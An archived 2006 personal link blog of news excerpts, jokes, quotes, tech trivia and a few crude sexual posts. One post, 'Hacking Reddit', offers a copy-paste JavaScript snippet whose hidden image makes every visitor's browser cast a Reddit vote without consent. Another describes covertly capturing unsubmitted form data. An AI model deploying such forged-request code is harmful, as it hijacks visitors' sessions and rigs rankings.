mordant wit

March 31, 2006

How Islamic inventors changed the world
A thousand years before the Wright brothers a Muslim poet, astronomer, musician and engineer named Abbas ibn Firnas made several attempts to construct a flying machine. In 852 he jumped from the minaret of the Grand Mosque in Cordoba using a loose cloak stiffened with wooden struts. He hoped to glide like a bird. He didn't. But the cloak slowed his fall, creating what is thought to be the first parachute, and leaving him with only minor injuries. In 875, aged 70, having perfected a machine of silk and eagles' feathers he tried again, jumping from a mountain. He flew to a significant height and stayed aloft for ten minutes but crashed on landing - concluding, correctly, that it was because he had not given his device a tail so it would stall on landing. Baghdad international airport and a crater on the Moon are named after him. # posted by masquerader @ 17:11 ::

March 29, 2006

RockBitch
For those unaquainted, Rockbitch were an all-girl rock group who were pretty succesful in the gothic/deviant scene in Europe. They produced some great music but due to a fall-out with their German record label, a lot of it never got released. They were most famous for their live gigs. They would perform with little, if any, clothing, fuck each other on stage and at each concert, would throw a condom randomly into the audience - the lucky recipient would be treated to the fuck of their lives from two or three of the band. They disbanded in 2002 and after some time in retreat at their Pagan sex commune where they all live in Eastern France, they reformed as MT-TV and are currently on tour in America. The music's better then ever, but the sex and nudity have been sacrificed on the path to more mainstream success. A finer group of people you will never meet. Some lesbian, others bi-sexual, all at one with, and as confident in their sexuality as I have ever known anybody to be. Of course they come to America and sacrafice the sex and nudity. Damn those Puritans who founded this tight ass country! Those Europeans knew what they were doing throwing those prudes off their continent... # posted by masquerader @ 15:40 ::

The sleeping giant goes on the offensive

When Microsoft went public in 1986, there was no 3-D videogaming, no enterprise software, and no Google.

Two decades and $285 billion in market cap later, CEO Steve Ballmer is facing a stagnant stock price and more competition than ever. His strategy? Take the offensive.

Microsoft is about to roll out new versions of Windows and Office. On the day he unveiled a bold $500 million marketing campaign to challenge IBM in the corporate tech market, the affable and energetic Ballmer, 50, bounded into FORTUNE's offices to discuss what Sony's troubles mean for the Xbox 360 game system, the future of advertising and why his kids shun iPods.

# posted by masquerader @ 15:30 ::

Drugs are bad...

... they can make you do crazy shit...

# posted by masquerader @ 15:27 ::

Why are there two copies of Notepad?

You may have noticed that there's a copy of Notepad in %windir%\notepad.exe and another in %windir%\system32\notepad.exe. Why two?

Compatibility, of course.

Windows 3.0 put Notepad in the Windows directory. Windows NT put it in the System32 directory.

Notepad is perhaps the most commonly hardcoded program in Windows. many Setup programs use it to view the Readme file, and you can use your imagination to come up with other places where a program or batch file or printed instructions will hard-code the path to Notepad.

In order to be compatible with programs designed for Windows 95, there needs to be a copy of Notepad in the Windows directory. And in order to be compatible with programs designed for Windows NT, there also needs to be a copy in the System32 directory.

And now that Notepad exists in both places, new programs have a choice of Notepads, and since there is no clear winner, half of them will choose the one in the Windows directory and half will choose the one in the System32 directory, thereby ensuring the continued existence of two copies of Notepad for years to come.

# posted by masquerader @ 15:22 ::

March 28, 2006

Taxes
A little boy wanted Rs.50 very badly and prayed for weeks, But nothing happened. Finally he decided to write God a letter requesting the Rs.50. When the postal authorities received the letter addressed to God PAKISTAN ,they decided to forward it to the Finance Minister of Pakistan as a joke. The Finance Minister was so amused, that he instructed his secretary to send the little boy Rs.20. The Finance Minister thought this would appear to be a lot of money to a little boy, and he did not want to spoil the kid. The little boy was delighted with Rs.20, and decided to write a thank you note to God, which read: "Dear God: Thank you very much for sending the money. However, I noticed that you sent it through the Finance Minister in Islamabad , and those donkeys deducted Rs.30 in taxes ..." # posted by masquerader @ 12:39 ::

March 27, 2006

UN Survey
A world survey recently conducted by the UN posed the following question, "Could you please give us your opinion about the food shortage in the rest of the world? This survey was a huge failure due to the following reasons: In Africa, no one knows what "food" is. In Western Europe, no one knows what "shortage" is. In Eastern Europe no one knows what "opinion" is. In South America no one knows what "please" means. In the US no one knows what "rest of the world" means. # posted by masquerader @ 14:09 ::

Windows is so slow!!!

Back in 1998, the federal government declared that its landmark antitrust suit against the Microsoft Corporation was not merely a matter of law enforcement, but a defense of innovation. The concern was that the company was wielding its market power and its strategy of bundling more and more features into its dominant Windows desktop operating system to thwart competition and stifle innovation.

Eight years later, long after Microsoft lost and then settled the antitrust case, it turns out that Windows is indeed stifling innovation — at Microsoft.

The company's marathon effort to come up with the a new version of its desktop operating system, called Windows Vista, has repeatedly stalled. Last week, in the latest setback, Microsoft conceded that Vista would not be ready for consumers until January, missing the holiday sales season, to the chagrin of personal computer makers and electronics retailers — and those computer users eager to move up from Windows XP, a five-year-old product.

# posted by masquerader @ 12:01 ::

IKEA billionaire founder proud to be frugal at 80

IKEA founder Ingvar Kamprad, ranked 4th richest man in the world, drives a 15-year-old car and always flies economy class, in part to inspire his 90,000 employees worldwide to see the virtue of frugality.

# posted by masquerader @ 11:57 ::

March 22, 2006

Amy Crehore
# posted by masquerader @ 11:52 ::

Cigarettes

# posted by masquerader @ 11:46 ::

March 21, 2006

Pakistan confirms bird flu cases
Tests have confirmed Pakistan's first cases of the deadly H5N1 strain of bird flu, officials say. The virus has been detected in chickens in two farms in north-west Pakistan which have now been sealed off, reports quote officials as saying. The presence of the strain was confirmed by the European Union's Reference Laboratory for Avian Influenza in England. The virus has already been detected in neighbouring India and Afghanistan. Earlier this month, nearly 25,000 chickens were slaughtered in the two farms in the Abbotabad and Charsadda districts of Pakistan's North West Frontier Province (NWFP) after the virus was detected. # posted by masquerader @ 14:14 ::

Sorting Algorithms

This page has visualizations of some comparison based sorting algorithms.

# posted by masquerader @ 12:42 ::

Pakistan launches cruise missile

Pakistan says it has tested a cruise missile for the second time.

The Babur missile is capable of carrying nuclear and conventional warheads and has a range of 500km (310 miles), a military statement said.

Pakistan had fired its first cruise missile last August and described the launch as a "milestone" in its history.

Cruise missiles are usually low-flying guided missiles. South Asian nuclear rival India had no comment on the latest launch.

Last year Pakistan and India agreed to give each other advance notice of future nuclear ballistic missile tests. The agreement, however, does not cover guided missiles.

# posted by masquerader @ 12:32 ::

Quote of the Day

Though I am not naturally honest, I am so sometimes by chance.

~ William Shakespeare

# posted by masquerader @ 12:30 ::

Deeper Throat

Some women are more skilled than others. For instance, this girl can make a dildo disappear in one gulp.

# posted by masquerader @ 12:18 ::

How to Prevent Hearing Loss

I've experienced bouts of fairly severe tinnitus on several occasions after a loud rehearsal or concert, and I know I'm not the only person who's guilty of having been somewhat cavalier about hearing loss. Now that so many of us seem to spend half our time with headphones on or listening to car, stereo or TV speakers, a new generation of the hearing impaired is on the horizon, and many of us will be affected unless we start to pay more attention.

Hearing loss has been called a loss of intimacy, because as hearing acuity declines, the ability to pick out a voice over background noise is one of the first things to go. The hearing-impaired often sit there nodding politely, effectively zoned out from conversations because they get sick of asking, "What?" Another unfortunate aspect of hearing loss is that it tends to affect people who value music and sound more than anyone else, the price for spending so many hours listening to music. Worse still, most commonly available headphones force users to increase volume in order to hear music more clearly.

# posted by masquerader @ 12:15 ::

How many computers can you carry?

Take a look!

# posted by masquerader @ 12:01 ::

Grow Your Own Oil, U.S.

Researchers hoping to ease America's oil addiction are turning sawdust and wood chips into bio-oil, a thick black liquid that could become a green substitute for many petroleum products.

Bio-oil can be made from almost any organic material, including agricultural and forest waste like corn stalks and scraps of bark. Converting the raw biomass into bio-oil yields a product that is easy to transport and can be processed into higher-value fuels and chemicals.

"It is technically feasible to use biomass for the production of all the materials that we currently produce from petroleum," said professor Robert C. Brown, director of the Office of Biorenewables Programs at Iowa State University.

# posted by masquerader @ 11:59 ::

Quote of the Day

History teaches us that men and nations behave wisely once they have exhausted all other alternatives.

~ Abba Eban

# posted by masquerader @ 11:38 ::

March 17, 2006

How Islamic inventors changed the world
A form of chess was played in ancient India but the game was developed into the form we know it today in Persia. From there it spread westward to Europe - where it was introduced by the Moors in Spain in the 10th century - and eastward as far as Japan. The word rook comes from the Persian rukh, which means chariot. # posted by masquerader @ 13:43 ::

Benefit of being Arab

An old Arab lived close to New York City for more than 40 years. One day he decided that he would love to plant potatoes and herbs in his garden, but he knew he was alone and too old and weak. His son was in college in Paris, so the old man sent him an e-mail explaining the problem:
"Beloved son, I am very sad, because I can't plant potatoes in my garden. I am sure, if only you were here, that you would help me and dig up the garden for me. I love you, your father."

The following day, the old man received a response e-mail from his son:
"Beloved father, please don't touch the garden. That is where I have hidden 'the THING.' I love you, too, Ahmed."

At 4pm the FBI and the Rangers visited the house of the old man and took the whole garden apart, searching every inch. But they couldn't find anything. Disappointed, they left the house. The next day, the old man received another e-mail from his son:

"Beloved father, I hope the garden is dug up by now and you can plant your potatoes. That is all I could do for you from here. Your loving son, Ahmed."

# posted by masquerader @ 13:32 ::

Peace Team!

# posted by masquerader @ 12:11 ::

Windows Installation

# posted by masquerader @ 11:02 ::

March 16, 2006

W-11
A bit about the infamous bus W-11 plying the streets of Karachi. # posted by masquerader @ 18:05 ::

March 15, 2006

How Islamic inventors changed the world
The ancient Greeks thought our eyes emitted rays, like a laser, which enabled us to see. The first person to realise that light enters the eye, rather than leaving it, was the 10th-century Muslim mathematician, astronomer and physicist Ibn al-Haitham. He invented the first pin-hole camera after noticing the way light came through a hole in window shutters. The smaller the hole, the better the picture, he worked out, and set up the first Camera Obscura (from the Arab word qamara for a dark or private room). He is also credited with being the first man to shift physics from a philosophical activity to an experimental one. # posted by masquerader @ 12:57 ::

March 14, 2006

Interesting site design
http://omar.mvps.org/ # posted by masquerader @ 18:23 ::

Quake 3 on 24 Screens

This is just down right disgusting! (in a good way, not a pedophile way). This guy has managed to spread Quake 3 across 24 different LCD screens simultaneously.

The system is driven by 12 linux servers (2 monitors per server) using Distributed Multihead X (DMX) and Chromium. Chromium distributes the OpenGL rendering from the head node to all of the servers. The game runs fairly fast, though some lighting effects had to be turned off and Chromium is having some trouble with the mouse. Even so, playing the game is an awesome experience.

# posted by masquerader @ 15:51 ::

Europe's skills fall behind Asia

Europe is falling behind Asia in terms of education and skills, a report published by the Brussels-based Lisbon Council think-tank says.

It blames France and Germany which are criticised for mediocre education systems and their inherent class bias.

China and India, on the other hand, are starting to deliver "high skills at low costs and at an ever increasing pace".

South Korea and Finland are highlighted as positive examples where investment in education has taken priority.

# posted by masquerader @ 15:47 ::

March 13, 2006

Da Vinci author scorns copy claim
Author Dan Brown has dismissed accusations that he stole the ideas for his best-selling novel The Da Vinci Code as "completely fanciful". The novelist is appearing at London's High Court after historians Richard Leigh and Michael Baigent sued publisher Random House. They say Mr Brown copied ideas in their book The Holy Blood and The Holy Grail. "I have been shocked at their reaction. Furthermore I do not really understand it," Mr Brown said in a statement. Both books explore a theory that Jesus did not die on the cross but survived and had children with Mary Magdalene, and that their descendents survive. # posted by masquerader @ 18:35 ::

Acquittal in Killing Unleashes Ire at India's Rich

The crime itself was sensational. A fashion model was shot dead in an unlicensed bar stuffed full of fashionable people. The prime suspect was a member of the capital's brat pack and the son of an influential politician.

The verdict turned out to be even more lurid. Nearly seven years after the killing of Jessica Lall at the trendy Tamarind Court bar and the about-face of several celebrity witnesses on the stand, a Delhi court acquitted all nine defendants, including Manu Sharma, the one accused of being the gunman. The others were charged with aiding him.

The acquittal two weeks ago unleashed a rare outrage in this country, just as it raised uncomfortable questions about the uneven course of justice in a society evermore polarized between the well-heeled and the rest.

Most noticeably among India's urban middle class, the acquittal has released a pent-up frustration with an often blundering and corrupt law enforcement bureaucracy and a deep disgust with the rich and famous who, by all appearances, manipulated it to their advantage.

# posted by masquerader @ 18:33 ::

Quotes of the Day

The main things which seem to me important on their own account, and not merely as means to other things, are knowledge, art, instinctive happiness, and relations of friendship or affection.

~ Bertrand Russell

All that I desire to point out is the general principle that life imitates art far more than art imitates life.

~ Oscar Wilde

# posted by masquerader @ 18:29 ::

'I didn't join the British Army to conduct American foreign policy'

As a trooper in the Special Air Service's counter-terrorist team - the black-clad force that came to the world's attention during the Iranian Embassy siege in 1980 - Ben Griffin was at the pinnacle of his military career.

He had already served in Northern Ireland, Macedonia and Afghanistan as a member of the Parachute Regiment, and his sharp mind, natural fitness and ability to cope with the stress of military operations had singled him out as ideal special forces material.

Born in London but brought up in Wales, Mr Griffin left school at 18 with two A-levels and six GCSEs and, although he could have become an officer, he preferred life in the ranks.

Within a year of joining the elite force in early 2004 and serving as a trooper in the SAS's G-Squadron, he learnt that his unit was being posted to Baghdad, where it would be working alongside its American equivalent, Delta Force, targeting al-Qaeda cells and insurgent units.

Unknown to any of his SAS colleagues at their Hereford-based unit, however, Mr Griffin, then 25, had been harbouring doubts over the "legality" of the war. Despite recognising that Saddam Hussein was a brutal dictator and posed a threat, albeit a small one, to the West, he did not believe that the case for war had been made. The events he witnessed during his three-month tour in Baghdad, and especially the conduct of the American troops, would force him into making the most difficult decision of his life.

During a week's leave in March 2005 he told his commanding officer in a formal interview that he had no intention of returning to Iraq because he believed that the war was morally wrong. Moreover, he said he believed that Tony Blair and the Government had lied to the country and had deceived every British serviceman and woman serving in Iraq.

# posted by masquerader @ 18:13 ::

Former top judge says US risks edging near to dictatorship

Sandra Day O'Connor, a Republican-appointed judge who retired last month after 24 years on the supreme court, has said the US is in danger of edging towards dictatorship if the party's rightwingers continue to attack the judiciary.

In a strongly worded speech at Georgetown University, reported by National Public Radio and the Chicago Daily Law Bulletin, Ms O'Connor took aim at Republican leaders whose repeated denunciations of the courts for alleged liberal bias could, she said, be contributing to a climate of violence against judges.

# posted by masquerader @ 18:07 ::

Hacking Reddit

<script type="text/javascript">
<!--
  // The encoded version of the current page
      var page = encodeURIComponent(location.href);

  // Create an image on the page, give it an address, then style it
      var child = document.createElement("img");
      child.src = 'http://reddit.com/d/like'+Math.random()+'?u='+page;
      child.style.position = "absolute";
      child.style.left = "-9000px";

  // Finally push it out on the current page
      var daddy = document.getElementsByTagName('body')[0];
      daddy.appendChild(child);
// -->

</script>

Just copy paste the above script! No questions asked!

If you still have questions then click here

# posted by masquerader @ 18:00 ::

Gullible Info

85 percent of the letters used in all English words combined are from the first half of the alphabet.

# posted by masquerader @ 17:59 ::

Humble VW Bug

Watch this clip to see the VW Bug do something cool.

# posted by masquerader @ 16:49 ::

Origami

Microsoft: Project Origami

# posted by masquerader @ 16:03 ::

How Islamic inventors changed the world

The story goes that an Arab named Khalid was tending his goats in the Kaffa region of southern Ethiopia, when he noticed his animals became livelier after eating a certain berry. He boiled the berries to make the first coffee. Certainly the first record of the drink is of beans exported from Ethiopia to Yemen where Sufis drank it to stay awake all night to pray on special occasions. By the late 15th century it had arrived in Mecca and Turkey from where it made its way to Venice in 1645. It was brought to England in 1650 by a Turk named Pasqua Rosee who opened the first coffee house in Lombard Street in the City of London. The Arabic qahwa became the Turkish kahve then the Italian caffé and then English coffee.

# posted by masquerader @ 13:46 ::

Zero to 60 Mph in 3.4 Seconds

New designs introduced here at the Geneva Motor Show are pushing small engines further than ever, allowing street-legal vehicles to rival race cars in performance for a fraction of the price.

The trend was already visible last year with the introduction of the Lotus Elise, which is capable of zipping from zero to 60 mph in 4.9 seconds on the strength of a 1.8 liter, 189 horsepower engine.

Models debuting this month set an even higher standard. The Lotus Europa S harnesses 200 hp in a 2.0-liter engine for a zero to 60 mph acceleration of 5.5 seconds. And then there's Porsche's new 911 Turbo: Packing 480 hp into a 3.6-liter engine, it can rip from zero to 60 mph in just 3.4 seconds.

# posted by masquerader @ 13:11 ::

Breaking News: Dubya fights Bird Flu Virus

In an attempt to thwart the spread of the bird flu, George W. Bush has
bombed the Canary Islands. ;-)

# posted by masquerader @ 11:57 ::

March 09, 2006

Scarface
Click here for a quick view! # posted by masquerader @ 14:57 ::

March 08, 2006

Fun-Wit-Boredom
An English Professor assigned his students to a joint writing exercise that quickly degraded - check it out below. # posted by masquerader @ 13:18 ::

Top Five (Wrong) Reasons You Don't Have Testers

In 1992, James Gleick was having a lot of problems with buggy software. A new version of Microsoft Word for Windows had come out, which Gleick, a science writer, considered to be awful. He wrote a lengthy article in the Sunday New York Times Magazine which could only be described as a flame, skewering the Word team for being unresponsive to the requests of customers, and delivering an enormously buggy product.

Later, as a customer of a local Internet provider Panix (which also happens to be my Internet provider), he wanted a way to automatically sort and filter his mail. The UNIX tool for doing this is called procmail, which is really arcane and has the kind of interface that even the most hardcore UNIX groupies will admit is obscure.

Anyway, Mr. Gleick inadvertently made some kind of innocent typo in procmail which deleted all his email. In a rage, he decided that he was going to create his own Internet access company. Hiring Uday Ivatury, a programmer, he created Pipeline, which was really quite a bit ahead of its time: it was the first commercial provider of Internet access with any kind of graphical interface.

Now, Pipeline had its problems, of course. The very first version didn't use any kind of error correction protocol, so it had a tendency to garble things up or crash. Like all software, it had bugs. I applied for a job at Pipeline in 1993. During the interview, I asked Mr. Gleick about the article he wrote. "Now that you're on the other side of the fence," I asked, "do you have a bit more of an appreciation for the difficultly of creating good software?"

# posted by masquerader @ 11:30 ::

I'm a Math God!!!

I am a Math God.
I got 21/21 on the Math Geek test.
Take the test!

# posted by masquerader @ 11:26 ::

Why do Malformed URLs Redirect to Microsoft?

Many users of Mozilla and Firefox have discovered an unusual bug when dealing with Malformed URLs. For instance, if you copy and paste the address http//www.google.com into your URL bar, you will most likely be redirected to Microsoft's web site.

What's Wrong with Mozilla?

At first, many people assume that this is a bug in the way Mozilla handles malformed URLs. The bug actually has been reported to the Mozilla and Firefox development teams, but they refuse to fix it because it isn't a problem with the web browser.

When Mozilla is given an invalid URL, it doesn't attempt to determine the actual URL. Instead, it performs a google search and returns the first matching web page. So if you type Amazon into the URL bar, it will take you to amazon.com.

The Real Problem

The real problem that is causing these malformed URLs to redirect to Microsoft lies in google's page ranking algorithm. Through some (possibly malicious) means, the top result for the search term http is Microsoft's web site. Aside from causing confusion, this is also somewhat absurd, since Microsoft is neither the creator, nor maintainer of the HyperText Transfer Protocol. Realistically, the search term should return the World Wide Web Consortium's page on the HTTP protocol. Currently, the w3c is ranked second for the search term.

# posted by masquerader @ 10:55 ::

March 07, 2006

Movie Trailer Voiceovers
Who does the movie trailer voiceovers and what kind of money do they make? They don't call Don LaFontaine "King of the Movie Trailers" for nothing. LaFontaine's bio lists more than 4,000 films -- and that's not even counting the television commercials, network promos, and documentaries. It probably won't surprise you to learn he's a multimillionaire. But don't go searching for an agent just yet. According to The Voice Factory, a voice-over coaching and casting company, landing that fabulous national television campaign or movie trailer takes talent, training...and luck. Voice actors in the film industry have the Screen Actors Guild and its pay scale going to bat for them, giving them a little extra help. Successful actors might even win a Golden Trailer for their efforts. Because a movie's eventual success weighs so heavily on its trailer, it's not likely producers will take a chance on a novice, especially with people like LaFontaine hogging all the jobs. And he's not giving them up. In an interview with the Chicago Tribune, his advice to budding voice-over talent: "Wait `til I die." # posted by masquerader @ 17:50 ::

Quote of the Day

"Fish is the only food that is considered spoiled once it smells like what it is."

~ PJ O'Rourke

# posted by masquerader @ 17:46 ::

Looking Busy

On Scott Adams’ Dilbert website, there used to be a section where readers could submit their own stories of workplace foibles. One guy wrote in to talk about how he and four of his buddies managed to take at least one day a week off each. They worked for a big company and it was easy to get lost. Besides, they covered for each other.

If it was your day off, you were the “out guy” and you didn’t have to do anything but enjoy the day. But if not, you had a work to do.

The four guys who were working each had a task. One guy would go by the office of the “out guy” two or three times a day and post a note reading “be back in 15.” Another would fill a coffee cup halfway and leave it steaming on his desk. Someone would change the programs on his computer around. The fourth would shuffle papers and what-not around his desk.

The point was, anyone who came by would just assume they’d missed the “out guy” and check back later. The guy on the website claimed they’d pulled this off for years. These guys understood one important fact: It’s more important to look busy than be busy.

I’ve worked for a lot of companies. Most of them have been small startups, meaning that often everyone was very busy. There just weren’t enough people to do everything that needed done. But I’ve also worked for bigger companies and everyone acted just as busy there.

# posted by masquerader @ 17:42 ::

An Energy Pearl Harbor?

The two cars that exploded a week ago outside the inner perimeter of Abqaiq, an oil processing facility in Saudi Arabia that is the world's largest, could have caused more loss of life and economic devastation than the two planes that crashed into the World Trade Center on Sept. 11, 2001.

Had the terrorists succeeded in penetrating the guarded facility and detonating their bombs inside, they might have turned the complex into an inferno, releasing toxic chemicals that could have killed and sickened thousands of locals and expatriates, including many Americans, who work and live nearby.

# posted by masquerader @ 17:17 ::

How to ...

How to peel cooked potato skin in one go!!!

Trust the japanese to come up with a quick way!

# posted by masquerader @ 17:15 ::

Camels and Rubber Duckies

You've just released your latest photo-organizing software. Through some mechanism which will be left as an exercise to the reader, you've managed to actually let people know about it. Maybe you have a popular blog or something. Maybe Walt Mossberg wrote a rave review in the Wall Street Journal.

One of the biggest questions you're going to be asking now is, "How much should I charge for my software?" When you ask the experts they don't seem to know. Pricing is a deep, dark mystery, they tell you. The biggest mistake software companies make is charging too little, so they don't get enough income, and they have to go out of business. An even bigger mistake, yes, even bigger than the biggest mistake, is charging too much, so they don't get enough customers, and they have to go out of business. Going out of business is not good because everybody loses their job, and you have to go work at Wal*Mart as a greeter, earning minimum wage and being forced to wear a polyester uniform all day long.

Amazing article on software pricing.

# posted by masquerader @ 17:12 ::

Mozilla is making money from Firefox

Mozilla Corporation made $72M last year from the popular Firefox browser. I clearly remember reading about that last year somewhere.

The money comes from the Google Search box on the top right, when you search using that box and you click on Google ads on the results page Firefox gets about 80%.

So yeah, it is possible afterall to make a lot of money from Free Open Source Software, great stuff does pay out in the end.

# posted by masquerader @ 16:44 ::

How to Stop Time

But the rabbit-hole goes much deeper. Quantum physics discovered that consciousness is entangled in matter in some inexplicable ways; but other than the very fast, or very small, or very large, we tend to assume our “ordinary” reality conforms more to the laws of Newton. Simple cause and effect unfolding with clockwork constancy —well, it’s time to shatter this assumption. Let’s stop time.

# posted by masquerader @ 16:28 ::

Multitasking the Blowjobs

Here at Primal Urges, we’re all about multitasking. I define multitasking as, “that fucking word women use because it sounds slicker and more complex than the phrase, ‘doing a few things at once.’”In addition to multitasking, Primal Urges is also all about receiving blowjobs. I believe, as I’m sure most of you do, that almost all of the world’s problems can be solved with some combination of oral sex, football, alcohol, and fried foods. And the thing about oral sex is that it can take awhile.

Many of us simply don’t have enough hours in the day to waste any of them doing one measly thing at a time.So, in the interest of time management, the following is a list of things that you, the male reader, can accomplish while getting a blowjob.

# posted by masquerader @ 16:20 ::

March 06, 2006

The Tao Of Programming
The Tao Of Programming 1. The Silent Void 2. The Ancient Masters 3. Design 4. Coding 5. Maintenance 6. Management 7. Corporate Wisdom 8. Hardware and Software 9. Epilogue Nice read # posted by masquerader @ 14:44 ::

The Best: Accidental Discoveries

1. Viagra
2. LSD
3. X-rays
4. Penicillin
5. Artificial sweeteners
6. Microwave ovens
7. Brandy
8. Vulcanized rubber
9. Silly Putty
10. Potato chips

See description here

# posted by masquerader @ 14:42 ::

Amazing Ping Pong

Amazing ping pong

# posted by masquerader @ 14:39 ::

Stealth Submit Using AJAX

Have you ever started filling a web form and halfway into it decide against submitting because suddenly you no longer trust the website enough? You closed the browser window and that was the end of story, right? Wrong! The website might still have your information. You think it’s impossible? This article will show you how it can be done. I call the technique Stealth Submit.

Unless you have been living under a rock there is no way that you wouldn’t have heard about AJAX. Stealth Submit uses AJAX to save the values entered on the web form to a database.

# posted by masquerader @ 14:30 ::

Dubai's Amazing Buildings

The country of Dubai has waged a campaign to build some of the world's most significant structures. Here is a brief overview.

A building boom in the emirate has led to a whole host of chart breakers, in categories including highest apartment, biggest mall, and one of the world's most unique resorts.

# posted by masquerader @ 14:24 ::

Jet Powered VW Beetle

The car was built because the builder wanted the wildest street-legal ride possible. With this project, he was able to use his engineering skills to design the car without the distraction of how other people have done it in the past - because no one has.

I've seen lots of other people put in jet engines on cars, bikes and what not. I guess this is the first street legal one since it has the original engine too. Any comments?

# posted by masquerader @ 14:21 ::

The Power of Bush

Paki Prez Musharraf retracts his analysis of the Iraq War!

# posted by masquerader @ 13:50 ::

Secret Service dogs live it up

While US President George W Bush was checking into the presidential suite at one of Delhi's top hotels, a group of canines belonging to his security detail were enjoying similar comfort nearby.

Some 17 dogs belonging the K-9 squad of the US Secret Service have also been put up at top Delhi five-star hotels, Indian media reports say.

Special rooms have apparently been booked in the Sheraton hotel, where Mr Bush is staying, and at the equally plush Le Meridien hotel.

The German Shepherds and Labradors are staying in rooms which cost more than $200 a night.

Early on Thursday, they were pressed to work as they sniffed their way through the marble memorial to Mahatma Gandhi, which President Bush visited later in the day.

A genuine use of taxpayer dollars. Just to show the Indians that their 5 star hotels are good for Bush's dogs. Or is it?

# posted by masquerader @ 11:49 ::

Saima and Leeds' pubs

Hilarious interview! Sounds like an essay by a 12-yr old

# posted by masquerader @ 11:46 ::

March 02, 2006

Tape: Bush, Chertoff Warned Before Katrina
In dramatic and sometimes agonizing terms, federal disaster officials warned President Bush and his homeland security chief before Hurricane Katrina struck that the storm could breach levees, put lives at risk in New Orleans' Superdome and overwhelm rescuers, according to confidential video footage. Bush didn't ask a single question during the final briefing before Katrina struck on Aug. 29, but he assured soon-to-be-battered state officials: "We are fully prepared." The footage — along with seven days of transcripts of briefings obtained by The Associated Press — show in excruciating detail that while federal officials anticipated the tragedy that unfolded in New Orleans and elsewhere along the Gulf Coast, they were fatally slow to realize they had not mustered enough resources to deal with the unprecedented disaster. # posted by masquerader @ 12:32 ::

March 01, 2006

Gullible Info
In Philadelphia, it is illegal for a car to be painted yellow if it is not a taxi cab. # posted by masquerader @ 19:59 ::

mordant wit

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